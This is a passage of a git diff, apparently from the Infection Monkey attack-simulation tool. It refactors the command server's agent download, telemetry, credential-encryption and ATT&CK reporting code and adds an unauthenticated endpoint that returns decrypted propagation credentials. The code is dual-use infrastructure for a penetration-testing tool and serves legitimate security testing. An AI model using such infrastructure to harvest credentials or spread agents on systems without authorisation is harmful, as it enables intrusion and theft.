- return {"id": new_monkey_id} + return {"id": new_monkey_id} diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py deleted file mode 100644 index 608030e5c..000000000 --- a/monkey/monkey_island/cc/resources/monkey_configuration.py +++ /dev/null @@ -1,26 +0,0 @@ -import json - -import flask_restful -from flask import abort, jsonify, request - -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.config import ConfigService - - -class MonkeyConfiguration(flask_restful.Resource): - @jwt_required - def get(self): - return jsonify( - schema=ConfigService.get_config_schema(), - configuration=ConfigService.get_config(False, True), - ) - - @jwt_required - def post(self): - config_json = json.loads(request.data) - if "reset" in config_json: - ConfigService.reset_config() - else: - if not ConfigService.update_config(config_json, should_encrypt=True): - abort(400) - return self.get() diff --git a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py deleted file mode 100644 index 06e49b145..000000000 --- a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py +++ /dev/null @@ -1,14 +0,0 @@ -import flask_restful -from flask import request - -from monkey_island.cc.services.remote_port_check import check_tcp_port - - -class RemotePortCheck(flask_restful.Resource): - - # Used by monkey. can't secure. - def get(self, port): - if port and check_tcp_port(request.remote_addr, port): - return {"status": "port_visible"} - else: - return {"status": "port_invisible"} diff --git a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py deleted file mode 100644 index f0d7e411f..000000000 --- a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py +++ /dev/null @@ -1,16 +0,0 @@ -import json - -import flask_restful -from flask import make_response, request - -from monkey_island.cc.services.config import ConfigService - - -class StartedOnIsland(flask_restful.Resource): - - # Used by monkey. can't secure. - def post(self): - data = json.loads(request.data) - if data["started_on_island"]: - ConfigService.set_started_on_island(True) - return make_response({}, 200) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index 24e03280c..a5750769f 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -1,101 +1,34 @@ import hashlib -import json import logging -import os +from pathlib import Path import flask_restful -from flask import request, send_from_directory +from flask import make_response, send_from_directory from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH logger = logging.getLogger(__name__) -MONKEY_DOWNLOADS = [ - { - "type": "linux", - "machine": "x86_64", - "filename": "monkey-linux-64", - }, - { - "type": "linux", - "machine": "i686", - "filename": "monkey-linux-32", - }, - { - "type": "linux", - "machine": "i386", - "filename": "monkey-linux-32", - }, - { - "type": "linux", - "filename": "monkey-linux-64", - }, - { - "type": "windows", - "machine": "x86", - "filename": "monkey-windows-32.exe", - }, - { - "type": "windows", - "machine": "amd64", - "filename": "monkey-windows-64.exe", - }, - { - "type": "windows", - "machine": "64", - "filename": "monkey-windows-64.exe", - }, - { - "type": "windows", - "machine": "32", - "filename": "monkey-windows-32.exe", - }, - { - "type": "windows", - "filename": "monkey-windows-32.exe", - }, -] +AGENTS = { + "linux": "monkey-linux-64", + "windows": "monkey-windows-64.exe", +} -def get_monkey_executable(host_os, machine): - for download in MONKEY_DOWNLOADS: - if host_os == download.get("type") and machine == download.get("machine"): - logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine)) - return download - logger.warning( - "No monkey executables could be found for the host os or machine or both: host_os: {" - "0}, machine: {1}".format(host_os, machine) - ) - return None +class UnsupportedOSError(Exception): + pass class MonkeyDownload(flask_restful.Resource): # Used by monkey. can't secure. - def get(self, path): - return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path) - - # Used by monkey. can't secure. - def post(self): - host_json = json.loads(request.data) - host_os = host_json.get("os") - if host_os: - result = get_monkey_executable(host_os.get("type"), host_os.get("machine")) - - if result: - # change resulting from new base path - executable_filename = result["filename"] - real_path = MonkeyDownload.get_executable_full_path(executable_filename) - if os.path.isfile(real_path): - result["size"] = os.path.getsize(real_path) - return result - - return {} - - @staticmethod - def get_executable_full_path(executable_filename): - real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename) - return real_path + def get(self, host_os): + try: + path = get_agent_executable_path(host_os) + return send_from_directory(path.parent, path.name) + except UnsupportedOSError as ex: + logger.error(ex) + return make_response({"error": str(ex)}, 404) @staticmethod def log_executable_hashes(): @@ -103,16 +36,32 @@ class MonkeyDownload(flask_restful.Resource): Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.). """ - filenames = set([x["filename"] for x in MONKEY_DOWNLOADS]) + filenames = set(AGENTS.values()) for filename in filenames: - filepath = MonkeyDownload.get_executable_full_path(filename) - if os.path.isfile(filepath): + filepath = get_executable_full_path(filename) + if filepath.is_file(): with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() - logger.debug( - "{} hashes:\nSHA-256 {}".format( - filename, hashlib.sha256(file_contents).hexdigest() - ) - ) + file_sha256_hash = hashlib.sha256(file_contents).hexdigest() + logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}") else: - logger.debug("No monkey executable for {}.".format(filepath)) + logger.debug(f"No monkey executable for {filepath}") + + +def get_agent_executable_path(host_os: str) -> Path: + try: + agent_path = get_executable_full_path(AGENTS[host_os]) + logger.debug(f'Local path for {host_os} executable is "{agent_path}"') + if not agent_path.is_file(): + logger.error(f"File {agent_path} not found") + + return agent_path + except KeyError: + logger.warning(f"No monkey executables could be found for the host os: {host_os}") + raise UnsupportedOSError( + f'No Agents are available for unsupported operating system "{host_os}"' + ) + + +def get_executable_full_path(executable_filename: str) -> Path: + return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename diff --git a/monkey/monkey_island/cc/resources/propagation_credentials.py b/monkey/monkey_island/cc/resources/propagation_credentials.py new file mode 100644 index 000000000..532501658 --- /dev/null +++ b/monkey/monkey_island/cc/resources/propagation_credentials.py @@ -0,0 +1,16 @@ +import flask_restful + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.config import ConfigService + + +class PropagationCredentials(flask_restful.Resource): + def get(self, guid: str): + monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) + ConfigService.decrypt_flat_config(monkey_json["config"]) + + propagation_credentials = ConfigService.get_config_propagation_credentials_from_flat_config( + monkey_json["config"] + ) + + return {"propagation_credentials": propagation_credentials} diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 41ff4e3ad..d3a36e6a2 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -6,7 +6,7 @@ from flask import jsonify, make_response, request from monkey_island.cc.database import mongo from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.database import Database -from monkey_island.cc.services.infection_lifecycle import InfectionLifecycle +from monkey_island.cc.services.infection_lifecycle import get_completed_steps from monkey_island.cc.services.utils.network_utils import local_ip_addresses logger = logging.getLogger(__name__) @@ -21,8 +21,6 @@ class Root(flask_restful.Resource): return self.get_server_info() elif action == "reset": return jwt_required(Database.reset_db)() - elif action == "killall": - return jwt_required(InfectionLifecycle.kill_all)() elif action == "is-up": return {"is-up": True} else: @@ -33,5 +31,5 @@ class Root(flask_restful.Resource): return jsonify( ip_addresses=local_ip_addresses(), mongo=str(mongo.db), - completed_steps=InfectionLifecycle.get_completed_steps(), + completed_steps=get_completed_steps(), ) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 1158e82f0..3358788f3 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -6,10 +6,9 @@ import dateutil import flask_restful from flask import request -from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey import Monkey -from monkey_island.cc.models.telemetries import get_telemetry_by_query, save_telemetry +from monkey_island.cc.models.telemetries import get_telemetry_by_query from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.node import NodeService @@ -61,8 +60,6 @@ class Telemetry(flask_restful.Resource): process_telemetry(telemetry_json) - save_telemetry(telemetry_json) - return {}, 201 @staticmethod @@ -80,10 +77,5 @@ class Telemetry(flask_restful.Resource): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x["telem_category"] == TelemCategoryEnum.SYSTEM_INFO and "credentials" in x["data"]: - for user in x["data"]["credentials"]: - if -1 != user.find(","): - new_user = user.replace(",", ".") - x["data"]["credentials"][new_user] = x["data"]["credentials"].pop(user) return objects diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 37e6327f6..f923a2f57 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,7 +82,7 @@ class TelemetryFeed(flask_restful.Resource): def get_exploit_telem_brief(telem): target = telem["data"]["machine"]["ip_addr"] exploiter = telem["data"]["exploiter"] - result = telem["data"]["result"] + result = telem["data"]["exploitation_result"] if result: return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter) else: @@ -93,8 +93,8 @@ class TelemetryFeed(flask_restful.Resource): return "Monkey discovered machine %s." % telem["data"]["machine"]["ip_addr"] @staticmethod - def get_systeminfo_telem_brief(telem): - return "Monkey collected system information." + def get_credentials_telem_brief(_): + return "Monkey collected stole some credentials." @staticmethod def get_trace_telem_brief(telem): @@ -114,11 +114,11 @@ class TelemetryFeed(flask_restful.Resource): TELEM_PROCESS_DICT = { - TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, - TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.CREDENTIALS: TelemetryFeed.get_credentials_telem_brief, TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, - TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, - TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, - TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, + TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, } diff --git a/monkey/monkey_island/cc/resources/utils/semaphores.py b/monkey/monkey_island/cc/resources/utils/semaphores.py new file mode 100644 index 000000000..4c9ef5ecc --- /dev/null +++ b/monkey/monkey_island/cc/resources/utils/semaphores.py @@ -0,0 +1,5 @@ +from gevent.lock import BoundedSemaphore + +# Mutex avoids race condition between monkeys +# being marked dead and monkey waking up as alive +agent_killing_mutex = BoundedSemaphore() diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py deleted file mode 100644 index 174e02843..000000000 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py +++ /dev/null @@ -1,10 +0,0 @@ -import flask_restful - -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import get_aws_keys - - -class AWSKeys(flask_restful.Resource): - @jwt_required - def get(self): - return get_aws_keys() diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py deleted file mode 100644 index 5197b1972..000000000 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py +++ /dev/null @@ -1,37 +0,0 @@ -import json - -import flask_restful -from flask import request - -from common.cloud.scoutsuite_consts import CloudProviders -from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( - is_cloud_authentication_setup, - set_aws_keys, -) - - -class ScoutSuiteAuth(flask_restful.Resource): - @jwt_required - def get(self, provider: CloudProviders): - if provider == CloudProviders.AWS.value: - is_setup, message = is_cloud_authentication_setup(provider) - return {"is_setup": is_setup, "message": message} - else: - return {"is_setup": False, "message": ""} - - @jwt_required - def post(self, provider: CloudProviders): - key_info = json.loads(request.data) - error_msg = "" - if provider == CloudProviders.AWS.value: - try: - set_aws_keys( - access_key_id=key_info["accessKeyId"], - secret_access_key=key_info["secretAccessKey"], - session_token=key_info["sessionToken"], - ) - except InvalidAWSKeys as e: - error_msg = str(e) - return {"error_msg": error_msg} diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index 8b3ce9419..491b109dc 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -1,7 +1,7 @@ import http.client import flask_restful -from flask import Response, jsonify +from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService @@ -9,14 +9,10 @@ from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service impor from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import ( PrincipleService, ) -from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ( - ScoutSuiteRawDataService, -) REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" REPORT_DATA_PRINCIPLES_STATUS = "principles" -REPORT_DATA_SCOUTSUITE = "scoutsuite" class ZeroTrustReport(flask_restful.Resource): @@ -28,10 +24,5 @@ class ZeroTrustReport(flask_restful.Resource): return jsonify(PrincipleService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: return jsonify(FindingService.get_all_findings_for_ui()) - elif report_data == REPORT_DATA_SCOUTSUITE: - # Raw ScoutSuite data is already solved as json, no need to jsonify - return Response( - ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json" - ) flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index a3c0cf750..98f29de10 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -3,7 +3,6 @@ import json import logging import sys from pathlib import Path -from threading import Thread import gevent.hub from gevent.pywsgi import WSGIServer @@ -22,7 +21,6 @@ from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.arg_parser import IslandCmdArgs # noqa: E402 from monkey_island.cc.arg_parser import parse_cli_args # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 -from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.server_utils.consts import ( # noqa: E402 GEVENT_EXCEPTION_LOG, MONGO_CONNECTION_TIMEOUT, @@ -137,8 +135,6 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) logger.warning("Setup only flag passed. Exiting.") return - bootloader_server_thread = _start_bootloader_server() - logger.info( f"Using certificate path: {config_options.crt_path}, and key path: " f"{config_options.key_path}." @@ -155,23 +151,19 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) _log_init_info() http_server.serve_forever() - bootloader_server_thread.join() - - -def _start_bootloader_server() -> Thread: - bootloader_server_thread = Thread(target=BootloaderHttpServer().serve_forever, daemon=True) - - bootloader_server_thread.start() - - return bootloader_server_thread - def _log_init_info(): + MonkeyDownload.log_executable_hashes() + logger.info("Monkey Island Server is running!") logger.info(f"version: {get_version()}") + + _log_web_interface_access_urls() + + +def _log_web_interface_access_urls(): + web_interface_urls = ", ".join([f"https://{ip}:{ISLAND_PORT}" for ip in local_ip_addresses()]) logger.info( - "Listening on the following URLs: {}".format( - ", ".join(["https://{}:{}".format(x, ISLAND_PORT) for x in local_ip_addresses()]) - ) + "To access the web interface, navigate to one of the the following URLs using your " + f"browser: {web_interface_urls}" ) - MonkeyDownload.log_executable_hashes() diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py deleted file mode 100644 index fa00fbd24..000000000 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ /dev/null @@ -1,52 +0,0 @@ -import logging -from http.server import BaseHTTPRequestHandler, HTTPServer -from socketserver import ThreadingMixIn -from urllib import parse - -import requests -import urllib3 - -from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT -from monkey_island.cc.server_utils.consts import ISLAND_PORT - -# Disable "unverified certificate" warnings when sending requests to island -urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # noqa: DUO131 -logger = logging.getLogger(__name__) - - -class BootloaderHttpServer(ThreadingMixIn, HTTPServer): - def __init__(self): - server_address = ("", 5001) - super().__init__(server_address, BootloaderHTTPRequestHandler) - - -class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): - def do_POST(self): - content_length = int(self.headers["Content-Length"]) - post_data = self.rfile.read(content_length).decode() - island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url( - self.request.getsockname()[0] - ) - island_server_path = parse.urljoin(island_server_path, self.path[1:]) - # The island server doesn't always have a correct SSL cert installed - # (By default it comes with a self signed one), - # that's why we're not verifying the cert in this request. - r = requests.post( # noqa: DUO123 - url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT - ) - - try: - if r.status_code != 200: - self.send_response(404) - else: - self.send_response(200) - self.end_headers() - self.wfile.write(r.content) - except Exception as e: - logger.error("Failed to respond to bootloader: {}".format(e)) - finally: - self.connection.close() - - @staticmethod - def get_bootloader_resource_url(server_ip): - return "https://" + server_ip + ":" + str(ISLAND_PORT) + "/api/bootloader/" diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 16ac78cbe..7fa6c77a4 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -23,5 +23,5 @@ from .dict_encryptor import ( FieldNotFoundError, ) from .field_encryptors.i_field_encryptor import IFieldEncryptor -from .field_encryptors.mimikatz_results_encryptor import MimikatzResultsEncryptor from .field_encryptors.string_list_encryptor import StringListEncryptor +from .field_encryptors.string_encryptor import StringEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py index 7c938d25b..84a635ece 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py @@ -1,3 +1,3 @@ from .i_field_encryptor import IFieldEncryptor -from .mimikatz_results_encryptor import MimikatzResultsEncryptor from .string_list_encryptor import StringListEncryptor +from .string_encryptor import StringEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py deleted file mode 100644 index 31f597e60..000000000 --- a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py +++ /dev/null @@ -1,29 +0,0 @@ -import logging - -from ..data_store_encryptor import get_datastore_encryptor -from . import IFieldEncryptor - -logger = logging.getLogger(__name__) - - -class MimikatzResultsEncryptor(IFieldEncryptor): - - secret_types = ["password", "ntlm_hash", "lm_hash"] - - @staticmethod - def encrypt(results: dict) -> dict: - for _, credentials in results.items(): - for secret_type in MimikatzResultsEncryptor.secret_types: - credentials[secret_type] = get_datastore_encryptor().encrypt( - credentials[secret_type] - ) - return results - - @staticmethod - def decrypt(results: dict) -> dict: - for _, credentials in results.items(): - for secret_type in MimikatzResultsEncryptor.secret_types: - credentials[secret_type] = get_datastore_encryptor().decrypt( - credentials[secret_type] - ) - return results diff --git a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/string_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/string_encryptor.py new file mode 100644 index 000000000..28f0f2c93 --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/string_encryptor.py @@ -0,0 +1,12 @@ +from ..data_store_encryptor import get_datastore_encryptor +from . import IFieldEncryptor + + +class StringEncryptor(IFieldEncryptor): + @staticmethod + def encrypt(value: str): + return get_datastore_encryptor().encrypt(value) + + @staticmethod + def decrypt(value: str): + return get_datastore_encryptor().decrypt(value) diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py index dd9ea329f..e28ebf4c8 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py @@ -56,8 +56,8 @@ class PasswordBasedBytesEncryptor(IEncryptor): class InvalidCredentialsError(Exception): - """ Raised when password for decryption is invalid """ + """Raised when password for decryption is invalid""" class InvalidCiphertextError(Exception): - """ Raised when ciphertext is corrupted """ + """Raised when ciphertext is corrupted""" diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 3fb3f4c32..96a840cf9 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -16,7 +16,6 @@ from monkey_island.cc.services.attack.technique_reports import ( T1064, T1065, T1075, - T1082, T1086, T1087, T1090, @@ -54,7 +53,6 @@ TECHNIQUES = { "T1003": T1003.T1003, "T1059": T1059.T1059, "T1086": T1086.T1086, - "T1082": T1082.T1082, "T1145": T1145.T1145, "T1065": T1065.T1065, "T1105": T1105.T1105, diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index dca2a1513..7ff959474 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -249,21 +249,11 @@ SCHEMA = { "hostname, or other logical identifier on a network for lateral" " movement.", }, - "T1082": { - "title": "System information discovery", - "type": "bool", - "link": "https://attack.mitre.org/techniques/T1082", - "depends_on": ["T1016", "T1005"], - "description": "An adversary may attempt to get detailed information about the " - "operating system and hardware, including version, patches, " - "hotfixes, " - "service packs, and architecture.", - }, "T1016": { "title": "System network configuration discovery", "type": "bool", "link": "https://attack.mitre.org/techniques/T1016", - "depends_on": ["T1005", "T1082"], + "depends_on": ["T1005"], "description": "Adversaries will likely look for details about the network " "configuration " "and settings of systems they access or through information " @@ -322,7 +312,7 @@ SCHEMA = { "title": "Data from local system", "type": "bool", "link": "https://attack.mitre.org/techniques/T1005", - "depends_on": ["T1016", "T1082"], + "depends_on": ["T1016"], "description": "Sensitive data can be collected from local system sources, " "such as the file system " "or databases of information residing on the system prior to " diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index c842436dd..81cd7ad69 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -1,7 +1,7 @@ from common.utils.attack_utils import ScanStatus -from monkey_island.cc.database import mongo +from monkey_island.cc.models import StolenCredentials from monkey_island.cc.services.attack.technique_reports import AttackTechnique -from monkey_island.cc.services.reporting.report import ReportService +from monkey_island.cc.services.reporting.stolen_credentials import get_stolen_creds class T1003(AttackTechnique): @@ -14,29 +14,10 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = { - "$or": [ - { - "telem_category": "system_info", - "$and": [ - {"data.credentials": {"$exists": True}}, - {"data.credentials": {"$gt": {}}}, - ], - }, # $gt: {} checks if field is not an empty object - { - "telem_category": "exploit", - "$and": [ - {"data.info.credentials": {"$exists": True}}, - {"data.info.credentials": {"$gt": {}}}, - ], - }, - ] - } - @staticmethod def get_report_data(): def get_technique_status_and_data(): - if mongo.db.telemetry.count_documents(T1003.query): + if list(StolenCredentials.objects()): status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value @@ -47,6 +28,5 @@ class T1003(AttackTechnique): data.update(T1003.get_message_and_status(status)) data.update(T1003.get_mitigation_by_status(status)) - data["stolen_creds"] = ReportService.get_stolen_creds() - data["stolen_creds"].extend(ReportService.get_ssh_keys()) + data["stolen_creds"] = get_stolen_creds() return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 988515026..038e51d9b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -1,5 +1,5 @@ from common.utils.attack_utils import ScanStatus -from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import AttackTechnique @@ -10,35 +10,12 @@ class T1016(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered network configurations on systems in the network." - query = [ - {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, - { - "$project": { - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "networks": "$data.network_info.networks", - } - }, - { - "$addFields": { - "_id": 0, - "networks": 0, - "info": [ - { - "used": { - "$and": [{"$ifNull": ["$networks", False]}, {"$gt": ["$networks", {}]}] - }, - "name": {"$literal": "Network interface info"}, - }, - ], - } - }, - ] - @staticmethod def get_report_data(): def get_technique_status_and_data(): - network_info = list(mongo.db.telemetry.aggregate(T1016.query)) - status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value + network_info = T1016._get_network_info() + used_info = [entry for entry in network_info if entry["info"][0]["used"]] + status = ScanStatus.USED.value if used_info else ScanStatus.UNSCANNED.value return (status, network_info) status, network_info = get_technique_status_and_data() @@ -46,3 +23,14 @@ class T1016(AttackTechnique): data = T1016.get_base_data_by_status(status) data.update({"network_info": network_info}) return data + + @staticmethod + def _get_network_info(): + network_info = [] + for monkey in Monkey.objects(): + entry = {"machine": {"hostname": monkey.hostname, "ips": monkey.ip_addresses}} + info = [{"used": bool(monkey.networks), "name": "Network interface info"}] + entry["info"] = info + network_info.append(entry) + + return network_info diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py deleted file mode 100644 index ad1bc6281..000000000 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ /dev/null @@ -1,81 +0,0 @@ -from common.utils.attack_utils import ScanStatus -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import AttackTechnique - - -class T1082(AttackTechnique): - tech_id = "T1082" - relevant_systems = ["Linux", "Windows"] - unscanned_msg = "Monkey didn't gather any system info on the network." - scanned_msg = "" - used_msg = "Monkey gathered system info from machines in the network." - - query = [ - {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, - { - "$project": { - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "aws": "$data.aws", - "process_list": "$data.process_list", - "ssh_info": "$data.ssh_info", - "azure_info": "$data.Azure", - } - }, - { - "$project": { - "_id": 0, - "machine": 1, - "collections": [ - { - "used": {"$and": [{"$gt": ["$aws", {}]}]}, - "name": {"$literal": "Amazon Web Services info"}, - }, - { - "used": { - "$and": [ - {"$ifNull": ["$process_list", False]}, - {"$gt": ["$process_list", {}]}, - ] - }, - "name": {"$literal": "Running process list"}, - }, - { - "used": { - "$and": [{"$ifNull": ["$ssh_info", False]}, {"$ne": ["$ssh_info", []]}] - }, - "name": {"$literal": "SSH info"}, - }, - { - "used": { - "$and": [ - {"$ifNull": ["$azure_info", False]}, - {"$ne": ["$azure_info", []]}, - ] - }, - "name": {"$literal": "Azure info"}, - }, - {"used": True, "name": {"$literal": "Network interfaces"}}, - ], - } - }, - {"$group": {"_id": {"machine": "$machine", "collections": "$collections"}}}, - {"$replaceRoot": {"newRoot": "$_id"}}, - ] - - @staticmethod - def get_report_data(): - def get_technique_status_and_data(): - system_info = list(mongo.db.telemetry.aggregate(T1082.query)) - if system_info: - status = ScanStatus.USED.value - else: - status = ScanStatus.UNSCANNED.value - return (status, system_info) - - status, system_info = get_technique_status_and_data() - data = {"title": T1082.technique_title()} - data.update({"system_info": system_info}) - - data.update(T1082.get_mitigation_by_status(status)) - data.update(T1082.get_message_and_status(status)) - return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index ec22a19ef..6d99a768c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -1,7 +1,11 @@ +import logging + from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique +logger = logging.getLogger(__name__) + class T1145(AttackTechnique): tech_id = "T1145" @@ -12,19 +16,39 @@ class T1145(AttackTechnique): # Gets data about ssh keys found query = [ + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, { - "$match": { - "telem_category": "system_info", - "data.ssh_info": {"$elemMatch": {"private_key": 